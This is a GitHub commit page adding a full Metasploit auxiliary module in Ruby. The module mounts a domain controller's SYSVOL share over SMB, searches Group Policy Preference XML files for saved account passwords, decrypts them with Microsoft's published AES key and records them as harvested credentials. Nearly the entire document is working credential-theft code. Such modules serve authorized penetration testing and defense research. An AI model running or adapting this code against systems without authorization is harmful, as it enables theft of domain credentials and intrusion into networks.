Skip to content

Commit 927785c

Browse files
committed
Lan rapid7#5783, @jabra-'s module to disclose passwords from grup policy preferences
2 parents d2a1707 + adab9f9 commit 927785c

File tree

1 file changed

+210
-0
lines changed

1 file changed

+210
-0
lines changed
Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/parser/group_policy_preferences'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::Exploit::Remote::SMB::Client::Authenticated
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
14+
# Aliases for common classes
15+
SIMPLE = Rex::Proto::SMB::Client
16+
XCEPT = Rex::Proto::SMB::Exceptions
17+
CONST = Rex::Proto::SMB::Constants
18+
19+
def initialize
20+
super(
21+
'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration',
22+
'Description' => %Q{
23+
This module enumerates files from target domain controllers and connects to them via SMB.
24+
It then looks for Group Policy Preference XML files containing local/domain user accounts
25+
and passwords and decrypts them using Microsofts public AES key. This module has been
26+
tested successfully on a Win2k8 R2 Domain Controller.
27+
},
28+
'Author' =>
29+
[
30+
'Joshua D. Abraham <jabra[at]praetorian.com>',
31+
],
32+
'References' =>
33+
[
34+
['MSB', 'MS14-025'],
35+
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
36+
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
37+
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
38+
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
39+
],
40+
'License' => MSF_LICENSE
41+
)
42+
register_options([
43+
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),
44+
OptString.new('RPORT', [true, 'The Target port', 445]),
45+
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
46+
], self.class)
47+
end
48+
49+
def check_path(ip, path)
50+
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
51+
begin
52+
fd = simple.open("\\#{path}", 'ro')
53+
fd.close
54+
print_good "Found Policy Share on #{ip}"
55+
smb_download(ip, path)
56+
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
57+
case e.get_error(e.error_code)
58+
when 'STATUS_FILE_IS_A_DIRECTORY'
59+
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
60+
when 'STATUS_OBJECT_NAME_NOT_FOUND'
61+
vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62+
when 'STATUS_OBJECT_PATH_NOT_FOUND'
63+
vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
64+
when 'STATUS_ACCESS_DENIED'
65+
vprint_error("Host #{ip} reports access denied.")
66+
when 'STATUS_BAD_NETWORK_NAME'
67+
vprint_error("Host #{ip} is NOT connected to #{datastore['SMBDomain']}!")
68+
when 'STATUS_INSUFF_SERVER_RESOURCES'
69+
vprint_error("Host #{ip} rejected with insufficient resources!")
70+
when 'STATUS_OBJECT_NAME_INVALID'
71+
vprint_error("opening \\#{path} bad filename")
72+
else
73+
return
74+
end
75+
end
76+
end
77+
78+
def report_creds(ip, user, password)
79+
service_data = {
80+
address: ip,
81+
port: rport,
82+
protocol: 'tcp',
83+
service_name: 'smb',
84+
workspace_id: myworkspace_id
85+
}
86+
87+
new_user = user.sub(/\s+.*/, '')
88+
first, rest = new_user.split(/\\/)
89+
if first && rest
90+
domain = first
91+
user = rest
92+
credential_data = {
93+
origin_type: :service,
94+
module_fullname: fullname,
95+
username: user,
96+
private_data: password,
97+
private_type: :password,
98+
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
99+
realm_value: domain,
100+
}
101+
else
102+
credential_data = {
103+
origin_type: :service,
104+
module_fullname: fullname,
105+
username: new_user,
106+
private_data: password,
107+
private_type: :password
108+
}
109+
end
110+
credential_core = create_credential(credential_data.merge(service_data))
111+
112+
login_data = {
113+
core: credential_core,
114+
status: Metasploit::Model::Login::Status::UNTRIED
115+
}
116+
117+
create_credential_login(login_data.merge(service_data))
118+
end
119+
120+
def parse_xml(ip, path, xml_file)
121+
mxml = xml_file[:xml]
122+
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"
123+
file_type = File.basename(xml_file[:path].gsub("\\","/"))
124+
results = Rex::Parser::GPP.parse(mxml)
125+
tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc])
126+
127+
tables.each do |table|
128+
print_good(table.to_s)
129+
end
130+
131+
results.each do |result|
132+
if datastore['STORE']
133+
stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
134+
print_status("XML file saved to: #{stored_path}")
135+
end
136+
137+
report_creds(ip, result[:USER], result[:PASS])
138+
end
139+
end
140+
141+
def smb_download(ip, path)
142+
vprint_status("Downloading #{path}...")
143+
144+
fd = simple.open("\\#{path}", 'ro')
145+
data = fd.read
146+
fd.close
147+
148+
path_elements = path.split('\\')
149+
ret_obj = {
150+
:dc => ip,
151+
:path => path,
152+
:xml => data
153+
}
154+
ret_obj[:domain] = path_elements[0]
155+
156+
parse_xml(ip, path, ret_obj) if ret_obj
157+
158+
fname = path.split("\\")[-1]
159+
160+
if datastore['STORE']
161+
path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname)
162+
print_good("#{fname} saved as: #{path}")
163+
end
164+
end
165+
166+
def run_host(ip)
167+
print_status('Connecting to the server...')
168+
begin
169+
connect
170+
smb_login
171+
print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
172+
simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
173+
174+
root_listing = simple.client.find_first("*")
175+
corp_domain = ''
176+
root_listing.each_key do |key|
177+
next if key == '.' || key == '..'
178+
corp_domain = key
179+
end
180+
181+
sub_folder_listing = simple.client.find_first("#{corp_domain}\\Policies\\*")
182+
sub_folders = []
183+
sub_folder_listing.each_key do |key|
184+
next if key == '.' || key == '..'
185+
sub_folders << key
186+
end
187+
188+
gpp_locations = %w(
189+
\\MACHINE\\Preferences\\Groups\\Groups.xml
190+
\\USER\\Preferences\\Groups\\Groups.xml
191+
\\MACHINE\\Preferences\\Services\\Services.xml
192+
\\USER\\Preferences\\Printers\\Printers.xml
193+
\\USER\\Preferences\\Drives\\Drives.xml
194+
\\MACHINE\\Preferences\\Datasources\\DataSources.xml
195+
\\USER\\Preferences\\Datasources\\DataSources.xml
196+
\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
197+
\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
198+
)
199+
sub_folders.each do |i|
200+
gpp_locations.each do |gpp_l|
201+
check_path(ip,"#{corp_domain}\\Policies\\#{i}#{gpp_l}")
202+
end
203+
end
204+
rescue ::Exception => e
205+
print_error("#{rhost}: #{e.class} #{e}")
206+
ensure
207+
disconnect
208+
end
209+
end
210+
end

0 commit comments

Comments
 (0)